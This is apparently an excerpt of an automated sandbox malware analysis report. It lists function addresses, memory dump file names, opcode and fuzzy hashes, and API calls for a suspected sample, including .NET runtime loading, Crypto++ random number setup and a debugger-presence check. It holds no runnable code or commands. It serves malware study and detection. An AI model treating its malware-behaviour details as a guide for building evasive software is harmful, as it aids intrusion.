Instruction ID: a104eb762bee8378680d6818f669b7d29c393dac55c0bab6280291b96b9e533c
Opcode Fuzzy Hash: 9900e0d5fc01ea572224249a372c4b8eb7319443565c465418fd943649854b97
Instruction Fuzzy Hash: B121F571504344DFDF05EF58D980B2ABB66FB84718F24C569E9094B696C33AD806CAA2

Function 0138DA4C Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763300419.000000000138D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0138D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_138d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35412f0774c62a2a6c7e1228ea6aa8105ba99e1cabef83f08be23bf98c17650a
Instruction ID: ee2e07d0796c7738226041c277a0545d18f5289bac67dfe70fbc9d1362a9fb52
Opcode Fuzzy Hash: 35412f0774c62a2a6c7e1228ea6aa8105ba99e1cabef83f08be23bf98c17650a
Instruction Fuzzy Hash: 97210771508344DFDB01EF58D980B26FB69FB84328F24C569D9094B296C33AD405C6A1

Function 0138D44C Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763300419.000000000138D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0138D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_138d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cc12476b228fd3855d0636d2bf4dfcfe00307a57f20113edeee76b02838f7ab
Instruction ID: 362acf6a5e01368f144064726a6b0dab0a53f8f2d3db0265a559c02afa9ec1fb
Opcode Fuzzy Hash: 6cc12476b228fd3855d0636d2bf4dfcfe00307a57f20113edeee76b02838f7ab
Instruction Fuzzy Hash: 42212371504304EFDB01EF58D5C4B6ABFA9EB84328F20C66DD80A5B296C73AE446C661

Function 02EBAAD0 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763634407.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2eb0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26cb990bfa1ee2170357bd7b2c4736bb4d8d271b305bb3b8c16bcce31271d364
Instruction ID: 2bcd94ad729bc93dd1464d867dab9ea73306dec694739a450c0eadd273cf1367
Opcode Fuzzy Hash: 26cb990bfa1ee2170357bd7b2c4736bb4d8d271b305bb3b8c16bcce31271d364
Instruction Fuzzy Hash: DE21CB74E002099FCF06CFA9D890AEEBBB6BF49310F10902AE921A7350D7359945CFA0

Function 05CC084A Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768998212.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7010df97c990a970a9b7d8f76164422b52f1e241df756e5727555544a7a778b9
Instruction ID: 3e6042ecebc128e74ccf5a30f3ccc8b06cd1f5f60665ca3ce7293c0feca93cb1
Opcode Fuzzy Hash: 7010df97c990a970a9b7d8f76164422b52f1e241df756e5727555544a7a778b9
Instruction Fuzzy Hash: 5111C1353042409FC305DB79D894E597FF9EF8A61471684EEE10ACB3B2DA21DC04CB50

Function 0138D95F Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763300419.000000000138D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0138D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_138d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8904e6e2034f6e8b723f427b0fac37b038faba2da46a35eb3e2bfe2bad4ef527
Instruction ID: f197e48d2f7dccfb14d501fed3a049b0bad13893975eedc508b46d2fa3fd902d
Opcode Fuzzy Hash: 8904e6e2034f6e8b723f427b0fac37b038faba2da46a35eb3e2bfe2bad4ef527
Instruction Fuzzy Hash: 67117C76508280CFDB16DF54D584B16FF62FB84218F24C6A9D9094B696C33AD41ACBA2

Function 0138DA47 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763300419.000000000138D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0138D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_138d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e877da37ee721d3949158b92f72f664214390db207b7b07ed608f9dd9253c64
Instruction ID: 4be1d71ee5639ec4d3a4ae24fe065608ba3834ab3f72fa872c919132f2b1a70b
Opcode Fuzzy Hash: 0e877da37ee721d3949158b92f72f664214390db207b7b07ed608f9dd9253c64
Instruction Fuzzy Hash: F5119076504380CFDB12DF54D5C4B16BF61FB84328F24C6AAD9094B696C33AD41ACBA1

Function 0138D447 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763300419.000000000138D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0138D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_138d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aad62efa7e34eb6ffca8f9af0f1caae2cb21745ce108d27b5cb127a1fad79872
Instruction ID: db2a4c9971b5c070dc918db626a5c721642f859e7d8cce43b1707b14701bb6b7
Opcode Fuzzy Hash: aad62efa7e34eb6ffca8f9af0f1caae2cb21745ce108d27b5cb127a1fad79872
Instruction Fuzzy Hash: 5611C475504380DFDB12DF18D5C4B55BF61FB84328F24C6AAD8494B696C33AD44ACB61

Function 05CC0868 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768998212.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e02b9d325b9888565ac765b7772213a3cbbc15eb952bbfde8910e0c044f0c4ad
Instruction ID: 67dad494ca26a29542275b2e5abe455f8356aef3a46c2207eef65875a49d4f46
Opcode Fuzzy Hash: e02b9d325b9888565ac765b7772213a3cbbc15eb952bbfde8910e0c044f0c4ad
Instruction Fuzzy Hash: 9E010C353001109FC748EB6DD898D6EBBEAFF8966435144ADE10ACB371DE32EC018B94

Function 02EB86B0 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763634407.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2eb0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9b7b2e3116aefdafd28bcaf84282582784f698ddd7180e50d8f30e67aae67a5
Instruction ID: fbe2cc5d023ab411ac098d338c4cb66806d190256a1e5f213ada207759e270a2
Opcode Fuzzy Hash: b9b7b2e3116aefdafd28bcaf84282582784f698ddd7180e50d8f30e67aae67a5
Instruction Fuzzy Hash: F611F378D4421A8FCB04DFA9D9556EEBBBAFF88300F00D52AD919A7744DB341A11CF91

Function 0137D149 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763238454.000000000137D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0137D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_137d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4ac350ba22cf8b1a9ce6338b5775b34023973eb4745c8d9893e4809bf5abfbd
Instruction ID: 5bb425dc3a485a1f62566a2ea9de67afc5921d0e75f73a0c27270e97ba0bed53
Opcode Fuzzy Hash: e4ac350ba22cf8b1a9ce6338b5775b34023973eb4745c8d9893e4809bf5abfbd
Instruction Fuzzy Hash: E101A7711083449AF7719A59DD84767BF9CDF81328F18C52AED094A296C67D9840C671

Function 0137D148 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763238454.000000000137D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0137D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_137d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a68a2235ccc791ea14872be607601e3e771f0008386c0668998b0141f45ffe15
Instruction ID: c5716f00e426d1c66d03ea0cb877e5e5afc4bcafba06dc1a641ce12407361499
Opcode Fuzzy Hash: a68a2235ccc791ea14872be607601e3e771f0008386c0668998b0141f45ffe15
Instruction Fuzzy Hash: 65F062715083449AF7218A1ADCC4B62FFA8EF81638F18C45AED484E286C2799844CAB1

Function 02EB92D0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763634407.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2eb0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b354f4936c9d9cba1e0f73f15abfa58418512852a5dbffe7433cdd7f611fd553
Instruction ID: 124b35b9437e8859be170fb2f8c1da411238d6d1aa0d6563f75253f17bb84845
Opcode Fuzzy Hash: b354f4936c9d9cba1e0f73f15abfa58418512852a5dbffe7433cdd7f611fd553
Instruction Fuzzy Hash: 0901D2B0D0020E9FCB50EFA8E5446AEBBB4BF49304F5081A9D819A3344EB301A41CBA2

Function 02EB9B08 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763634407.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2eb0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2729279c08ea36b2bd97c62ae0f9bc173f0855d6e6e82ba9f5a9a29255ace750
Instruction ID: a2e91c400e7af5c69f95d22321848a239de786bb4e20f960f1eb7e823acd7eb8
Opcode Fuzzy Hash: 2729279c08ea36b2bd97c62ae0f9bc173f0855d6e6e82ba9f5a9a29255ace750
Instruction Fuzzy Hash: A1E0E574D04308EFCB64DFA8E444A9DBFB5FB48310F00C1AAA81493310D7305A50EF81

Function 02EB7CB8 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763634407.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2eb0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56ed25f0967e584bf768718af4d0a697a7e8ad0b4776d5e9df7e3b63c75a7fc3
Instruction ID: 2d20dd1ba7f60e018784f6c058d3e4ee3533e20635e23d03773f6973dacff07d
Opcode Fuzzy Hash: 56ed25f0967e584bf768718af4d0a697a7e8ad0b4776d5e9df7e3b63c75a7fc3
Instruction Fuzzy Hash: 68D0123198E209DBD7159FA4A4449FEFBBCAF8A315F00A19C940933651DA301E55DA89

Function 02EB9390 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763634407.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2eb0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e594020c98ba07e1bf25245d57894857f78d06dbfbcd850185054e66ddd780b2
Instruction ID: 94c5e593ccf505d8a579fbe0c03c57749c008bb1021c089838d88f21b62610c9
Opcode Fuzzy Hash: e594020c98ba07e1bf25245d57894857f78d06dbfbcd850185054e66ddd780b2
Instruction Fuzzy Hash: C5E0EC70D4530A8ACB51EFB9A4057AEBBB89B09214F04A165D54893246E63101458FD6

Function 02EB083A Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763634407.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2eb0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbd13d579492b27d1e2372c8d9e2d6988da0d8843093f4ea81f41d45ee896ccd
Instruction ID: 971087dbf56af794967e0a919bf608b72f91ff1e797215f1a2fedb5b478e7135
Opcode Fuzzy Hash: dbd13d579492b27d1e2372c8d9e2d6988da0d8843093f4ea81f41d45ee896ccd
Instruction Fuzzy Hash: 05D0C9711493895ECF369BA4A8183D97F746B03399F0AA1A7E04885496CBB0014AE751

Function 02EB09A0 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763634407.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2eb0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5dcdb7f9d90d901e08bd3d7438507fbc7d37099a0c81e151eaa63007fda71c3
Instruction ID: 9584f55471d3f467b946bac83e5fd88ceb6218ee9ef42882772bd0aa1239b2ac
Opcode Fuzzy Hash: d5dcdb7f9d90d901e08bd3d7438507fbc7d37099a0c81e151eaa63007fda71c3
Instruction Fuzzy Hash: 30D022A21D034983E12223E8B0083AFBE6C0B8B328F009811A048424405BA0100093AE

Function 02EBB730 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763634407.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2eb0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a969cb2f9f193a11f7d49211a8c1ab0c7c623b7eda1953bf8e68cdac006a0b9c
Instruction ID: 8808148667c6cd54ed25cb498a734680b2f4e630a8917364281ff5b6833f40ec
Opcode Fuzzy Hash: a969cb2f9f193a11f7d49211a8c1ab0c7c623b7eda1953bf8e68cdac006a0b9c
Instruction Fuzzy Hash: ECD0C93024020C9FDF255AB1EA09B577B9CDB00359F00D82AF80986650DB32D4548650

Function 02EB09B0 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763634407.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2eb0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87b02d907ba821f6376591ea6bcd815595675b4d95f0393bab5c5c3764f7ecce
Instruction ID: f181a0b7e52ca1e716825278252cba4b7d314ba411b85765508e2c0387b0a97f
Opcode Fuzzy Hash: 87b02d907ba821f6376591ea6bcd815595675b4d95f0393bab5c5c3764f7ecce
Instruction Fuzzy Hash: 74C02B300C570587C27133F8F0083AF7A9C5F45319F40A010F10C024104FB02040C7F6

Function 02EB0848 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763634407.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2eb0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dee4ba1149c54dc87b7e3028bccc1fa83b0733d74a97e156ac52d5cb6046eb3
Instruction ID: 6a2fadf9c86c6c7bde5fae63f91856e73febfeb8a255fc467d67d2058411b791
Opcode Fuzzy Hash: 0dee4ba1149c54dc87b7e3028bccc1fa83b0733d74a97e156ac52d5cb6046eb3
Instruction Fuzzy Hash: 76B0923008570A8BDE35ABD8B8087BEBBAC6B4532EF88A114A54C018949FB06150D7E6

Non-executed Functions

Function 6D022D70 Relevance: 35.2, APIs: 23, Instructions: 669COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6D022DFF
VariantInit.OLEAUT32(?), ref: 6D022E08
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6D022E7E
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6D022EB5
VariantClear.OLEAUT32(?), ref: 6D022EC1

Part of subcall function 6D02C850: VariantInit.OLEAUT32(?), ref: 6D02C88F
Part of subcall function 6D02C850: VariantInit.OLEAUT32(?), ref: 6D02C895
Part of subcall function 6D02C850: SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6D02C8A0
Part of subcall function 6D02C850: SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6D02C8D5
Part of subcall function 6D02C850: VariantClear.OLEAUT32(?), ref: 6D02C8E1

VariantClear.OLEAUT32(?), ref: 6D0230D5
SafeArrayDestroy.OLEAUT32(?), ref: 6D023550
VariantClear.OLEAUT32(?), ref: 6D023563
VariantClear.OLEAUT32(?), ref: 6D023569

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Variant$ArrayClearSafe$Init$CreateElementVector$Destroy
String ID:
API String ID: 2012514194-0
Opcode ID: 8837b812cbcf8373d0fd90d95654755163ed0aaaba194f8163a2e6e45a5540cb
Instruction ID: 0976313675be836129c5f30aa0c30040f465dfb83c94403fc4abc1ab0b906f33
Opcode Fuzzy Hash: 8837b812cbcf8373d0fd90d95654755163ed0aaaba194f8163a2e6e45a5540cb
Instruction Fuzzy Hash: 63526B71905219DFEB14DFA8C884BEEBBF6BF89300F158199E909AB351D730A945CF90

Function 6D01A0C0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 227libraryloaderCOMMON

Download Yara Rule

APIs

CorBindToRuntimeEx.MSCOREE(v2.0.50727,wks,00000000,6D090634,6D090738,?), ref: 6D01A119
GetModuleHandleW.KERNEL32(mscorwks), ref: 6D01A145
__cftoe.LIBCMT ref: 6D01A1FB
GetModuleHandleW.KERNEL32(?), ref: 6D01A215
GetProcAddress.KERNEL32(00000000,00000018), ref: 6D01A265

Strings

wks, xrefs: 6D01A10B
v2.0.50727, xrefs: 6D01A110
mscorwks, xrefs: 6D01A140

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: HandleModule$AddressBindProcRuntime__cftoe
String ID: mscorwks$v2.0.50727$wks
API String ID: 1312202379-2066655427
Opcode ID: 64a64552890502e30d0411f34a6cc1e28c4497091908993f1bc01d51c9af9705
Instruction ID: 132637c928f814d451af7477a01d366f8eec43534d1a1724b561094dc3c80e7f
Opcode Fuzzy Hash: 64a64552890502e30d0411f34a6cc1e28c4497091908993f1bc01d51c9af9705
Instruction Fuzzy Hash: 6A916E71D082499FEB04DFE9D980AAEBBF5BF49310F20826DE519EB341D730994ACB54

Function 6D05DBB0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 75encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,4E8A916F,6D088180,00000000,?), ref: 6D05DBFB
GetLastError.KERNEL32 ref: 6D05DC01
CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000008), ref: 6D05DC15
CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000028), ref: 6D05DC26
SetLastError.KERNEL32(00000000), ref: 6D05DC2D

Part of subcall function 6D05D9D0: GetLastError.KERNEL32(00000010,4E8A916F,75A8FC30,?,00000000), ref: 6D05DA1A

__CxxThrowException@8.LIBCMT ref: 6D05DC78

Part of subcall function 6D06AC75: RaiseException.KERNEL32(?,?,6D069C34,4E8A916F,?,?,?,?,6D069C34,4E8A916F,6D099C90,6D0AB974,4E8A916F), ref: 6D06ACB7

Strings

Crypto++ RNG, xrefs: 6D05DC0D, 6D05DC20
CryptAcquireContext, xrefs: 6D05DC35

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: AcquireContextCryptErrorLast$ExceptionException@8RaiseThrow
String ID: CryptAcquireContext$Crypto++ RNG
API String ID: 3279666080-1159690233
Opcode ID: 4fb440c83a28b4405ecb25be71f301f10313e1484008fe327365395004adc84c
Instruction ID: 68aead561c4a7979a8f95c695b474a851493052fd57da4f78f00d3f33ab58b14
Opcode Fuzzy Hash: 4fb440c83a28b4405ecb25be71f301f10313e1484008fe327365395004adc84c
Instruction Fuzzy Hash: 0421CF7124C341ABF710EB24CC45F6BBBE8EB8A745F00091EF641972C1EBB5E0048BA6

Function 02EBF498 Relevance: 8.1, Strings: 6, Instructions: 609COMMON

Download Yara Rule

Strings

4'^q, xrefs: 02EBF4B3
$^q, xrefs: 02EBF560
4'^q, xrefs: 02EBF53E
4'^q, xrefs: 02EBF50E
4|cq, xrefs: 02EBF6A3
4|cq, xrefs: 02EBF688

Memory Dump Source

Source File: 00000000.00000002.1763634407.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2eb0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4|cq$4|cq$$^q
API String ID: 0-1027864050
Opcode ID: 057a7a92724360c60a85edebb2c2d4c9466e9613ceead53997455433d1e36cf0
Instruction ID: 4de691cabbf46ce855a253f5615dd07919b0e92ada2b753ad752f3f6f7e7a2b7
Opcode Fuzzy Hash: 057a7a92724360c60a85edebb2c2d4c9466e9613ceead53997455433d1e36cf0
Instruction Fuzzy Hash: BF22B131B402158FCB1ADF69D8946EF7BB2AF89704B15D469E406EB761CB30DC41CB91

Function 6D06948B Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6D06CE6C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6D06CE81
UnhandledExceptionFilter.KERNEL32(6D089428), ref: 6D06CE8C
GetCurrentProcess.KERNEL32(C0000409), ref: 6D06CEA8
TerminateProcess.KERNEL32(00000000), ref: 6D06CEAF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 5662b6d88abf9adb68f9f07f8ac4bdc3f97aea7fd5a8e3ad757e9b5b9cca6634
Instruction ID: 80a48f6f3fe7d7605695a7ccddffbba2ba00b12322335fd4b4849491ea4649a4
Opcode Fuzzy Hash: 5662b6d88abf9adb68f9f07f8ac4bdc3f97aea7fd5a8e3ad757e9b5b9cca6634
Instruction Fuzzy Hash: 782100B5908A48DFDF50DF58D0A478D3BB4FB2B315F18411AE50987B42E7B08980CF59

Function 6D062310 Relevance: 6.7, APIs: 4, Instructions: 663COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 6D0624A1

Part of subcall function 6D06AC75: RaiseException.KERNEL32(?,?,6D069C34,4E8A916F,?,?,?,?,6D069C34,4E8A916F,6D099C90,6D0AB974,4E8A916F), ref: 6D06ACB7

std::exception::exception.LIBCMT ref: 6D06248C

Part of subcall function 6D069533: std::exception::_Copy_str.LIBCMT ref: 6D06954E

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Copy_strExceptionException@8RaiseThrowstd::exception::_std::exception::exception
String ID:
API String ID: 757275642-0
Opcode ID: c0e190617163c3dd19e7d7bde7217b61051af7dff460e1047e7e8212624e0ce5
Instruction ID: d82abc6074d4eae6988c0d2b97a2faeaf3719aa7a3b45c19ea6e6c576adb42d7
